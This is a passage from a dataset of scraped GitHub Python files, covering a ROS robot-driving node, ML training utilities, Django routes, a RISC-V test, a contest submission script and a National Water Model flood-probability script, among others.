callback(self,msg):\n        #context.info(\"Checking GPU availability...\")\n        limit_gpu_memory()\n        #self.check_tensorflow_gpu(context)\n        #se obtiene una imagen\n        smart = Point()\n        bridge = CvBridge()\n        image = bridge.imgmsg_to_cv2(msg, \"bgr8\")\n        # img = image[180:480, :, :]\n        scale_percent = 25 # porcentaje de la imagen original\n        width = int(img.shape[1] * scale_percent / 100)\n        height = int(img.shape[0] * scale_percent / 100)\n        dim = (width, height)\n        resized = cv2.resize(img, dim, interpolation = cv2.INTER_AREA)\n        obs_ = np.expand_dims(resized,axis=0)\n        _key = self.model.predict(obs_)\n        print(_key)\n        _key = np.argmax(_key[0])\n        print(_key)\n        if _key == 0:\n            #pa delente\n            self.twist.v = 0.4\n            self.twist.omega = 0\n            print(\"adelante\")\n            smart.x=_key\n            self.publi.publish(self.twist)\n        elif _key == 1:\n            #pa la derecha\n            self.twist.omega = -15\n            self.twist.v = 0\n            print(\"derecha\")\n            smart.x=_key\n            self.publi.publish(self.twist)\n        elif _key == 2:\n            #pa la izquierda\n            self.twist.omega = 1*10\n        self.pub_pos.publish(smart)\n        print(\"publicado\")\n\ndef limit_gpu_memory(memory_limit: int = 1024):\n    \"\"\"Restricts TensorFlow to only allocated 1GB of memory on the first GPU\"\"\"\n    #import tensorflow as tf\n    physical_gpus = tf.config.experimental.list_physical_devices(\"GPU\")\n    if physical_gpus:\n        try:\n            c = [tf.config.experimental.VirtualDeviceConfiguration(memory_limit=memory_limit)]\n            tf.config.experimental.set_virtual_device_configuration(physical_gpus[0], c)\n            logical_gpus = tf.config.experimental.list_logical_devices(\"GPU\")\n            logger.info(num_physical_gpus=len(physical_gpus), num_logical_gpus=len(logical_gpus))\n        except RuntimeError as e:\n            # Virtual devices must be set before GPUs have been initialized\n            logger.error(e)      \n\nif __name__ =='__main__':\n    # create the node\n    node = TemplateNode(node_name='template_node') # creacion del nodo\n    # keep spinning\n    rospy.spin()","repo_name":"matiasopazo34/recorder1","sub_path":"packages/my_package/src/autoduck.py","file_name":"autoduck.py","file_ext":"py","file_size_in_byte":4175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29588219792","text":"\r\nwith open(\"ascii.txt\", \"r\") as f:\r\n    content = f.read()\r\n\r\nfinalText = ''\r\nfor character in content:\r\n    code = ord(character)\r\n    katoptrikos = chr(128 - code)\r\n    finalText += katoptrikos\r\n\r\nutf8 = finalText.encode()\r\nprint(utf8[::-1])\r\n","repo_name":"antonybrnx/ergasies-patsakis","sub_path":"askisi12.py","file_name":"askisi12.py","file_ext":"py","file_size_in_byte":246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"33903811002","text":"import torch\nimport torch.nn as nn\n\nfrom logging import Logger\nfrom argparse import Namespace\nfrom contextlib import suppress\nfrom torch.cuda.amp import GradScaler\n\nfrom timm.loss import (\n    JsdCrossEntropy, \n    BinaryCrossEntropy, \n    SoftTargetCrossEntropy,\n    LabelSmoothingCrossEntropy\n)\n\nfrom timm.data import (\n    Mixup, \n    FastCollateMixup, \n)\n\n__all__ = [\n    \"setup_amp\",\n    \"setup_mixup\",\n    \"setup_loss_fn\",\n]\n\n\ndef setup_amp(args: Namespace, logger: Logger):\n    '''\n    setup automatic mixed-precision (AMP) loss scaling and op casting\n    '''\n    # set defaults\n    grad_scaler = None\n    amp_autocast = suppress \n    # init grad_scaler\n    if args.amp:\n        amp_autocast = torch.cuda.amp.autocast\n        grad_scaler = GradScaler()\n        if args.local_rank == 0:\n            logger.info('Using native Torch AMP. Training in mixed precision.')\n    else:\n        if args.local_rank == 0:\n            logger.info('AMP not enabled. Training in float32.')\n    return grad_scaler, amp_autocast\n\n\ndef setup_mixup(args: Namespace):\n    '''\n    setup mixup / cutmix\n    '''\n    # init defaults \n    mixup_fn = None\n    collate_fn = None\n    args.mixup_active = False\n    mixup_active = args.mixup > 0 or args.cutmix > 0 or args.cutmix_minmax is not None\n    if mixup_active:\n        args.mixup_active = True\n        mixup_args = dict(\n            mixup_alpha=args.mixup, \n            cutmix_alpha=args.cutmix, \n            cutmix_minmax=args.cutmix_minmax,\n            prob=args.mixup_prob, \n            switch_prob=args.mixup_switch_prob, \n            mode=args.mixup_mode,\n            label_smoothing=args.smoothing, \n            num_classes=args.num_classes\n        )\n        if args.prefetcher:\n            assert not args.aug_splits  # collate conflict (need to support deinterleaving in collate mixup)\n            collate_fn = FastCollateMixup(**mixup_args)\n        else:\n            mixup_fn = Mixup(**mixup_args)\n    return mixup_fn, collate_fn\n\n\n\ndef setup_loss_fn(args: Namespace):\n    # setup loss function\n    if args.jsd_loss:\n        assert args.aug_splits > 1  # JSD only valid with aug splits set\n        train_loss_fn = JsdCrossEntropy(num_splits=args.aug_splits, smoothing=args.smoothing)\n    elif args.mixup_active:\n        # smoothing is handled with mixup target transform which outputs sparse, soft targets\n        if args.bce_loss:\n            train_loss_fn = BinaryCrossEntropy(target_threshold=args.bce_target_thresh)\n        else:\n            train_loss_fn = SoftTargetCrossEntropy()\n    elif args.smoothing:\n        if args.bce_loss:\n            train_loss_fn = BinaryCrossEntropy(smoothing=args.smoothing, target_threshold=args.bce_target_thresh)\n        else:\n            train_loss_fn = LabelSmoothingCrossEntropy(smoothing=args.smoothing)\n    else:\n        train_loss_fn = nn.CrossEntropyLoss()\n    train_loss_fn = train_loss_fn.to(args.device)\n    valid_loss_fn = nn.CrossEntropyLoss().to(args.device)\n\n    return train_loss_fn, valid_loss_fn\n","repo_name":"IST-DASLab/CAP","sub_path":"research/aux_utils/setup_utils.py","file_name":"setup_utils.py","file_ext":"py","file_size_in_byte":2996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"23272818022","text":"from django.conf.urls import include, url\nfrom django.views.generic.base import RedirectView\n\nfrom . import views\n\napp_name = 'variant_app'\nurlpatterns = [\n    url(r'^$', views.index, name='index'),\n\n    url(r'^home/', views.user_home, name='user_home'),\n\n    url(r'^doc/', views.doc, name='doc'),\n\n    url(r'^explore/', views.explore_home, name='explore_home'),\n    url(r'^search/results/', views.search_results, name='search_results'),\n\n    url(r'^corpus/(?P<corpus_id>[0-9]+)/$', views.corpus, name='corpus'),\n    url(r'^corpus/add/$', views.add_corpus, name='add_corpus'),\n    url(r'^corpus/post/$', views.create_corpus, name='create_corpus'),\n    url(r'^corpus/(?P<corpus_id>[0-9]+)/delete/$', views.delete_corpus, name='delete_corpus'),\n\n    url(r'^corpus/(?P<corpus_id>[0-9]+)/pub/$', views.corpus_public, name='corpus_public'),\n    url(r'^corpus/(?P<corpus_id>[0-9]+)/fav/$', views.corpus_favorite, name='corpus_favorite'),\n\n    url(r'^corpus/(?P<corpus_id>[0-9]+)/coll/$', views.coll_text, name='coll_text'),\n    url(r'^corpus/(?P<corpus_id>[0-9]+)/coll/content/$', views.coll_text_content,\n        name='coll_text_content'),\n    url(r'^corpus/(?P<corpus_id>[0-9]+)/coll/tokens/(?P<seq_start>\\-?[0-9]+)/(?P<seq_end>\\-?[0-9]+)/(?P<seq_center>\\-?[0-9]+)/$',\n        views.coll_text_tokens, name='coll_text_tokens'),\n    url(r'^corpus/(?P<corpus_id>[0-9]+)/coll/tokens/$', views.post_word, name='post_word'),\n\n    url(r'^text/(?P<text_id>[0-9]+)/$', views.text, name='text'),\n    url(r'^text/(?P<text_id>[0-9]+)/content/$', views.text_content, name='text_content'),\n    url(r'^text/(?P<corpus_id>[0-9]+)/add/$', views.add_text, name='add_text'),\n    url(r'^text/(?P<corpus_id>[0-9]+)/post/$', views.create_text, name='create_text'),\n    url(r'^text/(?P<text_id>[0-9]+)/delete/$', views.delete_text, name='delete_text'),\n    url(r'^text/(?P<text_id>[0-9]+)/coll/$', views.manual_coll, name='manual_coll'),\n    url(r'^text/(?P<text_id>[0-9]+)/block/$', views.manual_block, name='manual_block'),\n]\n","repo_name":"brianhie/variant.ms","sub_path":"variant_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8139017977","text":"from riscv.EnvRISCV import EnvRISCV\nfrom riscv.GenThreadRISCV import GenThreadRISCV\nfrom base.Sequence import Sequence\nimport MemoryTraits\nimport RandomUtils\n\n# This test verifies that memory attributes can be set on specific regions of memory.\nclass MainSequence(Sequence):\n    def generate(self, **kargs):\n        for _ in range(50):\n            size_bits = RandomUtils.random32(1, 20)\n            size = 2 ** size_bits\n            align_bits = RandomUtils.random32(1, size_bits)\n            align = 2 ** align_bits\n            arch_mem_attr = self.choice(\n                (\"MainRegion\", \"IORegion\", \"CacheableShared\", \"Uncacheable\")\n            )\n            impl_mem_attr = self.choice((\"DMA Controller\", \"UART 0\", \"UART 1\", \"DDR Control\"))\n\n            start_addr = self.genPA(\n                Size=size,\n                Align=align,\n                Type=\"D\",\n                MemAttrArch=arch_mem_attr,\n                MemAttrImpl=impl_mem_attr,\n            )\n            end_addr = start_addr + size - 1\n\n            if not MemoryTraits.hasMemoryAttribute(arch_mem_attr, start_addr, end_addr):\n                self.error(\n                    \"Memory attribute %s not assigned to physical address range 0x%x-0x%x\"\n                    % (arch_mem_attr, start_addr, end_addr)\n                )\n\n            if not MemoryTraits.hasMemoryAttribute(impl_mem_attr, start_addr, end_addr):\n                self.error(\n                    \"Memory attribute %s not assigned to physical address range 0x%x-0x%x\"\n                    % (impl_mem_attr, start_addr, end_addr)\n                )\n\n\nMainSequenceClass = MainSequence\nGenThreadClass = GenThreadRISCV\nEnvClass = EnvRISCV\n","repo_name":"openhwgroup/force-riscv","sub_path":"tests/riscv/paging/paging_memory_attributes_basic_force.py","file_name":"paging_memory_attributes_basic_force.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","stars":187,"dataset":"github-code","pt":"3"}
+{"seq_id":"18104913757","text":"import psycopg\nimport sys\nsys.path.append('/workspace/sql-heroes/')\nfrom database.connection import create_connection, execute_query\n\n# ------------------- #\n# --- UPDATE HERO --- #\n# --------------------#\ndef update_bio(bio, name):\n    update = execute_query(\"\"\" \n    UPDATE heroes\n    SET biography = %s\n    WHERE NAME = %s\n    \"\"\", [bio, name]\n    )\n    return update\n    print('You have successfully updated the biography')","repo_name":"Chad-Powellv1/sql-heroes","sub_path":"queries/update_hero.py","file_name":"update_hero.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37908058998","text":"#!/usr/bin/env\n# -*- coding: utf-8 -*-\n\"\"\"\nRun unit tests\n\nSee:\n    http://pyunit.sourceforge.net/pyunit.html\n\"\"\"\nimport unittest\nimport os\nimport sys\nimport smartimage\n\n\n__HERE__=os.path.abspath(__file__).rsplit(os.sep,1)[0]+os.sep\nclass Test(unittest.TestCase):\n    \"\"\"\n    Run unit test\n    \n    Check the command line help for each module\n    \"\"\"\n    \n    def __init__(self,testName):\n        unittest.TestCase.__init__(self,testName)\n        self.cmd=None\n        \n\n    def setUp(self):\n        pass\n        \n    def tearDown(self):\n        pass\n        \n    def testName(self):\n        basedir=os.path.abspath(smartimage.__file__).rsplit(os.sep,1)[0]+os.sep\n        for filename in os.listdir(basedir):\n            if not filename.endswith('.py'):\n                continue\n            if filename in ['bounds.py','setup.py','__init__.py']:\n                continue\n            filename=basedir+filename\n            if not os.path.isfile(filename):\n                continue\n            self.runScript(filename,'--help')\n    \n    def runScript(self,filename,*args):\n        from importlib.util import spec_from_loader, module_from_spec\n        from importlib.machinery import SourceFileLoader\n        path=filename.rsplit(os.sep,1)\n        module=path[-1].rsplit('.py',1)[0]\n        path=path[0]\n        spec = spec_from_loader(module, SourceFileLoader(module,filename))\n        module = module_from_spec(spec)\n        spec.loader.exec_module(module)\n        if 'cmdline' in dir(module):\n            print('RUN: '+filename+' '+(' '.join(args)))\n            module.cmdline(args)\n        else:\n            print('SKIP: '+filename+' '+(' '.join(args)))\n            #print(dir(module))\n    \n    def runScriptOld(self,filename,*args):\n        \"\"\"\n        This works 100% fine, but does not add to the code coverage metrics\n        \"\"\"\n        bak=sys.argv\n        sys.argv=[filename]\n        sys.argv.extend(args)\n        print('RUN: '+(' '.join(sys.argv)))\n        globalz=globals()\n        #print(globalz)\n        globalz['__package__']='smartimage'\n        globalz['__name__']='__main__'\n        try:\n            code=open(filename).read()\n            if code.find('__main__')>=0:\n                exec(code,globalz)\n        finally:\n            sys.argv=bak\n        \ndef testSuite():\n    \"\"\"\n    Combine unit tests into an entire suite\n    \"\"\"\n    testSuite = unittest.TestSuite()\n    testSuite.addTest(Test(\"testName\"))\n    return testSuite\n        \n        \nif __name__ == '__main__':\n    \"\"\"\n    Run all the test suites in the standard way.\n    \"\"\"\n    unittest.main()","repo_name":"TheHeadlessSourceMan/smartimage","sub_path":"test/cli_help/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2573,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"29023957397","text":"# -*- coding: utf-8 -*-\nimport hashlib\n\nfrom unittest.mock import patch\n\nfrom django.conf import settings\nfrom django.test import TestCase\nfrom django.test.utils import override_settings\nfrom django.core.files.base import ContentFile\nfrom django.utils.timezone import now\n\nfrom events.common_storages.models import ProxyStorageModel\nfrom events.common_storages.proxy_storages import ProxyStorage\nfrom events.common_storages.storage import MdsClient\n\n\nclass TestProxyStorage(TestCase):\n    fixtures = ['initial_data.json']\n\n    def setUp(self):\n        self.proxy_storage = ProxyStorage()\n\n    def test_url(self):\n        response = self.proxy_storage.url('/hello/world.txt')\n        expected = 'https://{domain}/files?path=%2Fhello%2Fworld.txt'.format(\n            domain=settings.DEFAULT_FRONTEND_DOMAIN\n        )\n        self.assertEqual(response, expected)\n\n    @override_settings(FILE_PATH_PREFIX='/u')\n    def test_url_file_path_prefix(self):\n        response = self.proxy_storage.url('/hello/world.txt')\n        expected = 'https://{domain}/u/files?path=%2Fhello%2Fworld.txt'.format(\n            domain=settings.DEFAULT_FRONTEND_DOMAIN\n        )\n        self.assertEqual(response, expected)\n\n    def test_should_add_date_created_to_meta_backend_info(self):\n        original_name = 'hello.txt'\n        with patch('events.common_storages.storage.generate_code') as mock_generate:\n            mock_generate.return_value = 'b9j2a642b859b370557ab890943c999y'\n            with patch.object(MdsClient, 'upload') as mock_save:\n                mock_save.return_value = '401/{}_{}'.format('b9j2a642b859b370557ab890943c999y', 'hello')\n                path = self.proxy_storage.save(content=ContentFile('hello', name=original_name), name=original_name)\n                meta_backend_obj = self._get_meta_backend_obj(path)\n        now_date = now()\n        self.assertEqual(meta_backend_obj.date_created.minute, now_date.minute)\n        self.assertEqual(meta_backend_obj.date_created.hour, now_date.hour)\n        self.assertEqual(meta_backend_obj.date_created.day, now_date.day)\n        self.assertEqual(meta_backend_obj.date_created.month, now_date.month)\n        self.assertEqual(meta_backend_obj.date_created.year, now_date.year)\n\n    def test_should_add_original_name_to_meta_backend_info(self):\n        original_name = 'hello.txt'\n        with patch('events.common_storages.storage.generate_code') as mock_generate:\n            mock_generate.return_value = 'b9j2a642b859b370557rf890943c999z'\n            with patch.object(MdsClient, 'upload') as mock_save:\n                mock_save.return_value = '401/{}_{}'.format('b9j2a642b859b370557rf890943c999z', 'hello')\n                path = self.proxy_storage.save(content=ContentFile('hello', name=original_name), name=original_name)\n                meta_backend_obj = self._get_meta_backend_obj(path)\n        self.assertEqual(meta_backend_obj.original_name, original_name)\n\n    def test_should_add_sha256_to_meta_backend_info(self):\n        original_name = 'hello.txt'\n        file_content = ContentFile('hello')\n        file_content.name = original_name\n        with patch('events.common_storages.storage.generate_code') as mock_generate:\n            mock_generate.return_value = 'b9j2a642b859b370557uj890943c999k'\n            with patch.object(MdsClient, 'upload') as mock_save:\n                mock_save.return_value = '401/{}_{}'.format('b9j2a642b859b370557uj890943c999k', 'hello')\n                path = self.proxy_storage.save(content=file_content, name=original_name)\n                meta_backend_obj = self._get_meta_backend_obj(path)\n        m = hashlib.sha256()\n        m.update(file_content.read().encode('utf-8'))\n        m.update(original_name.encode('utf-8'))\n        self.assertEqual(meta_backend_obj.sha256, m.hexdigest())\n\n    def _get_meta_backend_obj(self, path):\n        return ProxyStorageModel.objects.get(path=path)\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"Intranet/tests/common_storages/test_proxy_storage.py","file_name":"test_proxy_storage.py","file_ext":"py","file_size_in_byte":3881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"13173474026","text":"import logging\n\ndef main(args):\n    logging.basicConfig(level=logging.INFO if args.verbose else logging.WARNING)\n\n    with open('README.md', encoding='utf-8') as f:\n        long_description = f.read()\n\n    with open('docs/index.md', 'w') as f:\n        f.write(long_description)\n\nif __name__ == '__main__':\n    import argparse\n\n    parser = argparse.ArgumentParser('Torchmeta Doc Index')\n    parser.add_argument('--verbose', action='store_true')\n    args = parser.parse_args()\n\n    main(args)\n","repo_name":"tristandeleu/pytorch-meta","sub_path":"docs/scripts/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":1879,"dataset":"github-code","pt":"3"}
+{"seq_id":"18332638561","text":"import sys\nimport math\nimport bisect\nfrom heapq import heapify, heappop, heappush\nfrom collections import deque, defaultdict, Counter\nfrom functools import lru_cache\nfrom itertools import accumulate, combinations, permutations\n\nsys.setrecursionlimit(1000000)\nMOD = 10 ** 9 + 7\nMOD99 = 998244353\n\ninput = lambda: sys.stdin.readline().strip()\nNI = lambda: int(input())\nNMI = lambda: map(int, input().split())\nNLI = lambda: list(NMI())\nSI = lambda: input()\nSMI = lambda: input().split()\nSLI = lambda: list(SMI())\nEI = lambda m: [NLI() for _ in range(m)]\n\n\ndef main():\n    N, t, p = NMI()\n    A = NLI()\n\n    # 入れる→100％で a*(100-t)/100 を得る\n    # 入れない→p%で a*(100-t)/100 を得る、次0\n    # 　　　　→(100-p)%で a 得る\n\n    # dp[i]: iラウンド後から始めたときの期待値\n    dp = [0]*(N+2)\n    for i in range(N-1, -1, -1):\n        a = A[i]\n        reward = a - a*t//100\n        E_in = dp[i+1] + reward\n        E_out = (dp[i+2] + reward) * p/100 \\\n                + (dp[i+1] + a) * (100-p)/100\n\n        dp[i] = max(E_in, E_out)\n    print(dp[0])\n    # print(dp)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"Mao-beta/AtCoder","sub_path":"PAST/PAST014K.py","file_name":"PAST014K.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"28742247065","text":"import numpy as np\nfrom matplotlib import pyplot as plt\n\nMODEL = \"F1=0.8214.tf\"\n\n\ndef visualize(img: np.array, classification: int):\n    img_shape = (30, 30, 3)\n    img = img.reshape(img_shape)\n\n    plt.imshow(img)\n    plt.title(\"Eyespot\" if classification else \"Spot\")\n    plt.draw()\n    plt.waitforbuttonpress(0)\n    plt.close()\n\n\nif __name__ == \"__main__\":\n    x_test = np.load(\"Xtest_Classification1.npy\")\n    y_test = np.load(f\"models_info/{MODEL}/ytest_Classification1.npy\")\n\n    N = x_test.shape[0]\n\n    for i in range(N):\n        visualize(x_test[i, :], y_test[i])\n","repo_name":"TiagoLourinho/machine-learning-problems","sub_path":"c_p1_files/visualize_results.py","file_name":"visualize_results.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7977429601","text":"import os\nimport glob\nimport json\nimport time\nimport urllib.request\nimport urllib.parse\n\nAWESOME_UA='Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36'\n\n\ndef submit(problem_id: int, contents: str):\n    assert os.getenv(\"ICFPC_TOKEN\")\n    token = os.getenv(\"ICFPC_TOKEN\")\n    data = {\n        \"problem_id\": int(problem_id),\n        \"contents\": contents,\n    }\n    request = urllib.request.Request(\n        \"https://api.icfpcontest.com/submission\",\n        json.dumps(data).encode(),\n        headers={'Authorization': 'Bearer {}'.format(token), 'User-Agent': AWESOME_UA, 'Content-Type': 'application/json'})\n    response = urllib.request.urlopen(request)\n    print(response.getcode())\n    response_body = response.read()\n    print(response_body)\n    return response_body.decode('utf-8')\n\n\ndef main():\n    solutions = set(sorted(glob.glob('solutions/[1-9]*-*.json')))\n    submissions = set(sorted(glob.glob('solutions/[1-9]*-*.json.submission')))\n    solutions_not_submitted = [x for x in solutions if x + \".submission\" not in submissions]\n\n    print(solutions_not_submitted)\n\n    for solution in solutions_not_submitted:\n        time.sleep(1.0)\n        problem_id = os.path.basename(solution).split(\"-\", 1)[0]\n        with open(solution) as f:\n            contents = f.read()\n            try:\n                response = submit(problem_id, contents)\n            except urllib.error.HTTPError as e:\n                if 500 <= e.code:\n                    print(f\"got {e.code}. exit program for now\")\n                    return\n                raise\n            else:\n                with open('{}.submission'.format(solution), mode=\"w\") as subfile:\n                    subfile.write(response.strip(\"\\\"\"))\n                    subfile.write(\"\\n\")\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"hasipon/icfpc2023","sub_path":"ci_submit.py","file_name":"ci_submit.py","file_ext":"py","file_size_in_byte":1847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"3488954858","text":"def compare(str1,str2):\n\tfor i in range(len(str2)):\n\t\tstr1+=str2[i]\n\tprint(str1)\ndef main():\n\ttry:\n\t\tm1=input()\n\t\tm2=input()\n\t\tcompare(m1,m2)\n\texcept:\n\t\tprint('hello world')\nmain()\n","repo_name":"manoj29111/project","sub_path":"43-concatenate.py","file_name":"43-concatenate.py","file_ext":"py","file_size_in_byte":181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"23986171124","text":"import datetime as dt\nimport os\nfrom netCDF4 import Dataset\nimport xarray\nimport numpy as np\nimport pandas as pd\nimport re\nimport boto3\nimport tempfile\nfrom viz_lambda_shared_funcs import get_db_values, organize_input_files\n\ndef run_high_water_probability(reference_time, fileset_bucket, fileset, output_file_bucket, output_file):\n    ##### Data Prep #####\n    print(\"Downloading NWM Data\")\n    input_files = organize_input_files(fileset_bucket, fileset, download_subfolder=reference_time.strftime('%Y%m%d'))\n\n    #Get NWM version from first file\n    with xarray.open_dataset(input_files[0]) as first_file:\n        nwm_vers = first_file.NWM_version_number.replace(\"v\",\"\")\n\n    print(\"Retrieving High Water Values From Viz DB\")\n    df_high_water_threshold = get_db_values(\"derived.recurrence_flows_conus\", [\"feature_id\", \"high_water_threshold\"])\n    df_high_water_threshold = df_high_water_threshold.set_index(\"feature_id\")\n    df_high_water_threshold = df_high_water_threshold.sort_index()\n\n    ##### Short Range Configuration #####\n    if \"short_range\" in input_files[0]:\n        lead_times = list(range(1, 13, 1))\n        discard_threshold = 7\n        df_probabilities = srf_high_water_probability(reference_time, lead_times, discard_threshold, input_files, df_high_water_threshold)\n        df_probabilities = df_probabilities.rename(columns={\"Prob\": \"srf_prob\"})\n\n    ##### Medium Range Configuration #####\n    elif \"medium_range\" in input_files[0]:\n        df_probabilities = pd.DataFrame()\n        day_windows = {'start_hour': [3, 27, 51, 75, 3], 'end_hour': [24, 48, 72, 120, 120]}\n\n        for i in range(len(day_windows['start_hour'])):\n            day_files = []\n            begin_hour = day_windows['start_hour'][i]\n            end_hour = day_windows['end_hour'][i]\n            print(f\"Calculating probabilities for {begin_hour}_to_{end_hour}\")\n            for file in input_files:\n                hour_pattern = re.search(r'f(\\d\\d\\d)', file).group(1)\n                if(hour_pattern):\n                    hour = int(hour_pattern)\n                    if(hour >= begin_hour and hour <= end_hour):\n                        day_files.append(file)\n\n            probability_df = mrf_high_water_probability(day_files, df_high_water_threshold)\n            probability_df = probability_df.rename(columns={\"Prob\": f\"hours_{begin_hour}_to_{end_hour}\"})\n\n            if df_probabilities.empty:\n                df_probabilities = probability_df\n            else:\n                df_probabilities = df_probabilities.join(probability_df)\n\n    ##### Format and Upload Output #####\n    print(\"Adding high water threshold, reference time, and update time to dataframe\")\n    df_probabilities = df_probabilities.loc[~(df_probabilities == 0).all(axis=1)]\n    df_probabilities = df_probabilities.join(df_high_water_threshold)\n    df_probabilities = df_probabilities.loc[~(df_probabilities['high_water_threshold'] == 0)]\n    df_probabilities['nwm_vers'] = nwm_vers\n    df_probabilities = df_probabilities.reset_index()\n\n    print(\"Uploading output CSV file to S3\")\n    s3 = boto3.client('s3')\n    tempdir = tempfile.mkdtemp()\n    tmp_ouput_path = os.path.join(tempdir, f\"temp_output.csv\")\n    df_probabilities.to_csv(tmp_ouput_path, index=False)\n    s3.upload_file(tmp_ouput_path, output_file_bucket, output_file)\n    print(f\"--- Uploaded to {output_file_bucket}:{output_file}\")\n    os.remove(tmp_ouput_path)\n\ndef srf_high_water_probability(reference_time, lead_times, discard_threshold, nwm_fpaths, df_high_water_threshold):\n    \"\"\"\n    Creates the srf (12-Hour) high water threshold probability product for the reference time using the specified files.\n\n    Args:\n        reference_time (datetime.datetime): A datetime.datetime object representing the basis time of the analysis\n        lead_times (list): A list of integers, each of which represents the number of hours from the reference_time to\n            consider\n        discard_threshold (int): An integer representing the number of hours back from the reference_time at which to\n            no longer include the forecast files in the analysis.\n        nwm_fpaths (list): A list of strings, each of which reprsents the path to a forecast file that is to be\n            considered for the analysis.\n\n    Old args:\n        high_water_threshold_type (str): A string indicating what dataset will be used for determining high flow.\n        erom_anom_threshold (int, optional): An integer used to determine the number of reaches that are visualized if\n            using the erom threshold. originally set to erom_anom_threshold=4\n    \"\"\"\n\n    # calculate valid time for forecast\n    print(\"Calculating valid times...\")\n    valid_times = calc_valid_times(reference_time, lead_times)\n\n    discard_date = reference_time - dt.timedelta(hours=discard_threshold)\n\n    # return paths to all files with specified valid time\n    print(\"Collecting files for valid times...\")\n    working_fpaths = find_nwm_file_paths(nwm_fpaths, valid_times, reference_time, discard_date)\n    nwm_file_count = len(working_fpaths)\n    print(\"Found {} files with matching valid times.\".format(nwm_file_count))\n\n    # Import Feature IDs\n    print(\"-->Importing feature IDs...\")\n    with xarray.open_dataset(working_fpaths[0]) as ds_features:\n        # Gets a dataframe of feature ids and streamflow for forecast\n        streamflow_features = ds_features['streamflow'].to_dataframe()\n\n    joined = streamflow_features.join(df_high_water_threshold)   # attaches recurrence flows to streamflow features\n    recurrence_flows_array = joined[\"high_water_threshold\"].values  # Extract recurrence flows as array\n    featureID_list = joined.index.values  # Extract feature_ids as array\n\n    # Calculate High Flow Probabilities\n    print(\"-->Calculating high flow probabilities...\")\n\n    # Set ensemble members (nwm forecast hours) on-the-fly\n    # Ensemble members for srf are represented by a forecast hour, each of the 7 hours (t-hour) up to and\n    # including the reference time\n    ensemble_number = discard_threshold\n    ensemble_members = []\n    for i in range(1, ensemble_number + 1):\n        member_date = discard_date + dt.timedelta(hours=i)\n        member = member_date.strftime(\"%H\")\n        ensemble_members.append(member)\n\n    # create a NumPy array of zeros with the same length of recurrence_flows_array; this array will be used to\n    # count up the number of streamflow files that predicted a reach would be above its high water threshold flow\n    final_above_array = np.zeros(len(recurrence_flows_array), dtype=np.int16)\n    for member in ensemble_members:\n        ensemble_files_list = [x for x in working_fpaths if 'nwm.t{}z.short_range.channel_rt'.format(member) in x]\n        # creates a NumPy array of zeros with the same length of recurrence_flows_array;\n        # this array will be used to count up the number of streamflow files that predicted a reach would be above\n        # its high water threshold flow\n        above_array = np.zeros(len(recurrence_flows_array), dtype=np.int16)\n        for file in ensemble_files_list:\n            n = Dataset(file)\n            streamflows = n['streamflow'][:]\n            n.close()\n            streamflows = streamflows * 35.3147  # convert streamflow from cms to cfs\n            # checks to see if any streamflow values are at or above their high water threshold flow, and\n            # returns a boolean array of the results\n            true_false_array = np.greater_equal(streamflows, recurrence_flows_array)\n            # increases the above count in above_array for reaches that had streamflow values above their high water threshold\n            above_array = above_array + true_false_array\n        # set anything in final_above_array >0 to 1, so -any- instance of high water threshold gives a stream reach a 1\n        above_array = np.where(above_array >= 1, 1, 0)\n        final_above_array += above_array  # add ensemble member's 0 or 1 predictions for each stream\n\n    print(\"Processing NWM probabilities...\")\n    # divides above_array by the total number of streamflow files to compute probabilities, and\n    # then multiplies the results by 100 to covert them into percentages\n    probabilities = (final_above_array / ensemble_number) * 100.0\n\n    df_probabilities = pd.DataFrame(list(zip(featureID_list, probabilities)), columns=['feature_id', 'Prob'])\n    df_probabilities = df_probabilities.set_index('feature_id')\n    df_probabilities['Prob'] = df_probabilities['Prob'].astype(int)\n\n    return df_probabilities\n\n\ndef mrf_high_water_probability(streamflow_files_list, high_water_values):\n    \"\"\"\n    This function computes high water probabilities (%) from the 7 members of the National Water Model (NWM) medium-range\n    forecast.\n\n    Args:\n        streamflow_files_list (list): A list of paths to the NWM channel_rt output NetCDF files for the forecast of\n            interest.\n\n    Returns:\n        probability_array (array): An array of (Feature ID, High Water Probability (%)) pairs for the time period of\n            interest.\n    \"\"\"\n\n    # Import Feature IDs\n    print(\"--> Importing feature IDs...\")\n\n    with xarray.open_dataset(streamflow_files_list[0]) as ds_features:\n        df_features = ds_features['streamflow'].to_dataframe()  # gets a dataframe of feature ids and streamflows\n    joined = df_features.join(high_water_values)  # attaches the high water threshold flows to the streamflow features\n    high_water_flows_array = joined[\"high_water_threshold\"].values  # extracts the high water threshold flows as an array\n    featureID_array = joined.index.values  # extracts the feature IDs as an array\n\n    # Calculate High Water 